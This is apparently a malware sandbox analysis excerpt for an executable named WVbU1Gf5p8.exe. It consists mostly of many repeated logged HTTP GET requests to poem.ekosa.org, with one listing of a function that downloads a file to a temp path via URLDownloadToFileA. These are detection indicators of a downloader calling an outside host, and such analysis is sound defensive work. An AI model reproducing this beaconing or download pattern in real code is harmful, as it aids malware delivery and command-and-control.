Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01231780 GetTempPathA,GetTempFileNameA,DeleteFileA,DeleteFileA,DeleteUrlCacheEntry,URLDownloadToFileA,CreateFileA,GetFileSize,CloseHandle,DeleteFileA,LocalAlloc,ReadFile,LocalFree,CloseHandle,DeleteFileA,CloseHandle,DeleteFileA,LocalFree,CreateFileA,LocalFree,WriteFile,LocalFree,CloseHandle,DeleteFileA,CloseHandle,

0_2_01231780

Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
